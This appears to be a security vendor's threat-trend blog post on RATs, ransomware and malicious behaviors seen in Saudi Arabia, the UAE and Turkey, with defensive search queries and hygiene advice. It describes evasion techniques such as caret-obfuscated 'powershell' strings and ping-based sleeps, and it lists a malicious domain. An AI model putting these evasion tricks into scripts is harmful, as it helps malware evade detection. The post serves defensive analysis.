Higher volumes of this RAT were seen some months ago, however, very recently there’s been an uptick EMEA_28of several hundred sessions per day.
EMEA_29 QuasarRAT is a Remote Access Trojan that can collect a victim’s personal information and send it to a malicious actor. It can also imitate a legitimate website to lure you into revealing your personal information.

The samples tagged in AutoFocus affecting Saudi Arabia were also seen in conjunction with the OfficePackager AutoFocus tag as the executable malware was delivered as an embedded object within a Word document. The malicious behavior section below describes this delivery method in more detail. Example subject lines from the malicious emails included “AIR FREIGHT SHIPPING” and targeted the Consumer Packaged Goods sector.

Session volume globally for the last six months has been pretty low however since the peak of almost 500 sessions in one day back in February, there have been some other quite large spikes of activity EMEA_30 as well.

EMEA_31

DownloadSponsor bundles unwanted applications into the install process without user consent. Installed applications can include PriceSparrow capable of updating web browser home pages and installing other adware related files for monetization purposes. In the United Arab Emirates, this malware was installed by an instance of the Remote Access Trojan RemcosRAT. Globally, DownloadSponsor was extremely prevalent EMEA_32 about six months ago but now we see a much lower, albeit consistent, volume of hundreds of sessions per day.

EMEA_33During this period, other RemcosRAT sessions in the United Arab Emirates – those not installing DownloadSponsor – targeted Government, and Securities and Investment Services sectors with emails having subject lines such as “NEW ORDER.” and “TT Payment USD64,365.90”. These originated from the United States and Turkey respectively. File attachments were executed files with .EXE extensions.

Expanding the search for RemcosRAT to the other two countries only Turkey saw the malware with similar session information as per the United Arab Emirates, however, in two cases the attached files were .doc Word documents containing exploits – RTF-ASLR-Bypass and RTF-OLE-Exploit. The RAT payload installed after the exploits have successfully run also exhibits a behavior tagged in AutoFocus as PingSleep that was not seen in the aforementioned RemcosRAT variants in this report. More details can be seen in the malicious behaviors section below.

RemcosRAT emerged in underground forums in late July 2016. The RAT is written in C++ and provides full access to a compromised system including: downloading files, uploading files, listing drives and files, executing commands, stealing data, and logging keystrokes. Globally the malware peaked earlier this year but a slight uptick EMEA_34 has been witnessed again recently.

EMEA_35Grenham is a virus written in Delphi that infects other files found on the victim system having a .exe extension. The virus replaces the original filename with a copy of itself and renames said original as “g<filename>.<extension>” or “v<filename>.<extension> where <filename> is the name of the original file and <extension> the matching original extension. This process is highlighted in the three pictures below in Figure 10. The virus also creates a system Mutex "Paint" to ensure multiple instances of the malware. The malware is distributed over email using .exe or .bat files and purporting to be invoice or purchase order related. Globally the volume is fairly consistent EMEA_36 averaging around one hundred sessions each day.

EMEA_37EMEA_38EMEA_39

Figure 10: Grenam virus infection effects. Left: original, middle: copies of malware using original filenames, right: original files renamed.

Malicious Behaviors

As mentioned in my last blog on EMEA threat trends, malicious behaviors can be a powerful way of discovering new threats or suspicious applications. The reason being because many malicious behaviors are common across multiple malware families irrespective of the type of threat be they ransomware or information stealing Trojans. These commonalities could include the same persistence mechanisms, evasion, or communication techniques, and so forth. In this next section, we will investigate some of the most prevalent behaviors that were on the rise in the three studied countries as well as globally over the last six months.

EMEA_40 Seen in conjunction with Pony sessions in all three countries, QuasarRAT in Saudi Arabia and AgentTesla – a small .NET based keylogger readily available to actors to log keystrokes and the victim’s clipboard to send back to the command and control (C2) channel – in the United Arab Emirates.

OfficePackager or “OLE Packager” is a feature introduced in Windows 3.1 and is still present in every version of Microsoft Office, on every Windows OS. It allows you to embed any file into Office documents. It is also very dangerous, not only because there is no way to disable it, but also because attackers can use it to spoof the file extension and icon type of the embedded object, and essentially force someone to make a bad trust decision about the content.

Malware authors often use this technique to embed executables or other malicious code into Office documents and use techniques, such as misleading descriptions and iconography to mask the intention and type of the embedded file, to trick users into executing the payload. Figure 11 below shows the container Word document containing what appears to be another embedded Word document but upon opening the embedded file, the Security Warning dialog reveals the actual situation – an executable file, in this case named “DHL SHIPMENT DETAILS.exe” is trying to execute.

EMEA_41

Figure 11: OfficePackager in action: an embedded executable file resembles a Word document.

Over the past six months the trend has been fairly consistent with hundreds or low-thousands daily globally, EMEA_42however the sparkline does not show this consistency due to the huge volumes seen from time to time with the peak value at tens of thousands of malicious sessions containing malware using this behavior seen in a single day.

EMEA_43Malware authors learned long ago that performing a ping, often against the localhost IP address of 127.0.0.1, takes approximately one second to accomplish. As such, malware authors will often execute a series of pings as an alternative to calling a sleep function, or in situations where no such function exists. This behavior is quite common with several thousand malicious EMEA_44sessions seen per day containing malware exhibiting this “sleep” technique. During the peak of such activity over the past six months, that volume increased to close to forty thousand sessions per day.

PingSleep has been seen in conjunction with various malware families over time but during this period, and in these three countries, it was more commonly seen with Cerber ransomware, Loda Trojan that is capable of spying on its victim, and NanoCoreRAT.

The following three behaviors are commonly seen together when malware is delivered using weaponised Word documents to launch system commands, including PowerShell, which themselves are often obfuscated to evade signature based detection techniques. During this period, the three behaviors were used in by the aforementioned Nymaim ransomware targeting Turkey.
EMEA_45 EMEA_46

Has consistently high volume globally, averaging over twenty thousand sessions per day over the last month, and peaking at over one hundred and seventy five thousand sessions in a single day. This behavior represents Malicious Word documents that use VBA macros to launch PowerShell to perform malicious activities, including downloading payloads from the internet. This technique was most prevalent in the three countries in the context of RanserKD and Cerber ransomware, AgentTesla information stealer and to deploy the Pony downloader.

EMEA_47EMEA_48

Identifies samples that invoke “cmd.exe /C” commands to execute a specific Windows Shell command of which common examples include to launch built-in Windows programs such as PowerShell and ping. Despite a general decline over recent months this behavior still exists in various malware families that account for several thousand sessions per day. In the three countries of this report, said families include Spora ransomware, PredatorPain and LokiBot information stealers, Pony and more.

EMEA_49EMEA_50

This technique has declined of late to tens or hundreds of sessions compared to hundreds of thousands per day earlier this year, perhaps due to improved detection techniques counteracting the obfuscation technique, which basically involves using the caret (‘^’) character to evade basic detection by breaking up a command-line string. This AutoFocus tag identifies this technique in the context of the string "powershell", for example: “p^o^w^e^r^s^h^e^l^l”, “p^o^w^e^r^s^h^e^ll”, “p^o^w^e^r^s^h^el^l” and so on. During April and May, this behavior was only seen together with Nymaim ransomware family targeting Turkey.

AutoFocus: Search based on Behaviors

There are two methods for searching in AutoFocus for malicious Behaviors. One is by searching using the tag artifact, like the ones described above and the other method is to use the Observed Behavior artifact.

1. AutoFocus can be used to search for Behaviors malicious (or benign) in applications running in your environment to provide context around them. Pivoting searches in AutoFocus based on Behaviors alone may uncover suspicious files that malware family tagging and searching do not cover.

For example, importing the following AutoFocus query, or running it over the API, will uncover dozens of malware or adware families using the common malicious behavior of ImageFileExecutionOptionsPersistence discussed above.

{"operator":"all","children":[{"field":"sample.malware","operator":"is","value":1},{"field":"sample.tag","operator":"is in the list","value":["Unit42.ImageFileExecutionOptionsPersistence"]}]}

EMEA_51

2. Another artifact that can be used in search is “Observed Behavior”. This is a list of abstracted Behaviors based on a series of Behavioral events and include examples such as applications that set Image File Execution Option entries to load themselves, documents that contain macros, applications that access Alternate Data Streams, and many others.

{"operator":"all","children":[{"field":"sample.malware","operator":"is","value":1},{"field":"sample.tasks.behavior_type","operator":"is","value":"execution_option"}]}

EMEA_52

These queries can also be exported for use with the AutoFocus API. An easy way to access the API is to use our AutoFocus Lenz script available from GitHub. A command like the following can be run that requests a dns_scrape function, limited to 5 results and running a query using the exported JSON query from one the examples above (alternatively this could be for a hash or list of hashes.

python af_lenz.py -r dns_scrape -l 5 -i query -q '{"operator":"all","children":[{"field":"sample.malware","operator":"is","value":1},{"field":"sample.tasks.behavior_type","operator":"is","value":"execution_option"}]}'

The results from this particular query are a few domain names but for brevity:

[+] dns [+]

wiziancko.top

Conclusion

EMEA is a socially and economically diverse region with many interesting assets whether they be citizen data, financial information, or natural resources and, as such, is a target for cyber criminals the world over.

It’s probably no surprise to see ransomware as a prevalent malware crossing all borders into all countries as this malware is mostly victim-agnostic. Any data on any computer in any country is a viable target. We saw a slight change in TTPs (Tools Techniques and Procedures) with one ransomware family, Jaff, which made use of weaponized Word documents embedded inside PDF droppers (AutoFocus tag: PdfDocmDropper) perhaps to bypass increased security measures around the traditional Word document containers.

As per the last report, Spora ransomware accounted for some of the ransomware prevalence, and was delivered over web-browsing application, which differs from the traditional malspam email campaigns.

Clearly Remote Access Trojans and information-stealing malware are prevalent in these countries and their emerging markets.

Cyber Hygiene

The threat landscape is vast and can be complex but you can minimize your risk of infection and enhance the overall health of your network by following some basic cyber hygiene habits:

Patch systems and applications wherever (and as soon as feasibly) possible. Alternatively, focus on other security solutions and methods, such as exploit prevention technology to protect those unpatchable systems and applications from attack, or to help manage patching cycles to suit your requirements. Prioritize patching based on known exploits or in-the-wild-attacks. Segment those unpatched/unpatchable devices in the network with additional access controls based on users or application communication to minimize the risk of exploitation. Perform regular vulnerability scans of systems and review changes to spot new devices or changes in active vulnerabilities.

Segment networks to contain attacks by limiting attacker’s ability to move laterally and to provide additional security for certain areas of the network. This technique can be applied to external-facing networks as well to minimize the exposure to the internet and limit the capability of network worms, such as the recent Wanacrypt0r ransomware attacks.

Change the file association for JavaScript to be opened using Notepad (or something else benign) rather than the Windows Scripting Host or other shell capable of executing malcode. This can be done per PC or enterprise-wide using Group Policy. This will prevent many JavaScript-based threats from running in the context of weaponized documents.

Educate users and employees of the security risks faced by your organization and perform regular training and reminders about these, and how they can help the effort. Provide a platform for users to learn about the risks and to report incidents to security-related staff. Create a culture whereby such reporting is important and valued. Monitor effectiveness of training for the purposes of gap analysis and creating dialogue between security teams and users.

Ensure timely, accurate and verified backups of critical data to provide a feasible option to recover should a malware attack render a system or its data inoperable or inaccessible.

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow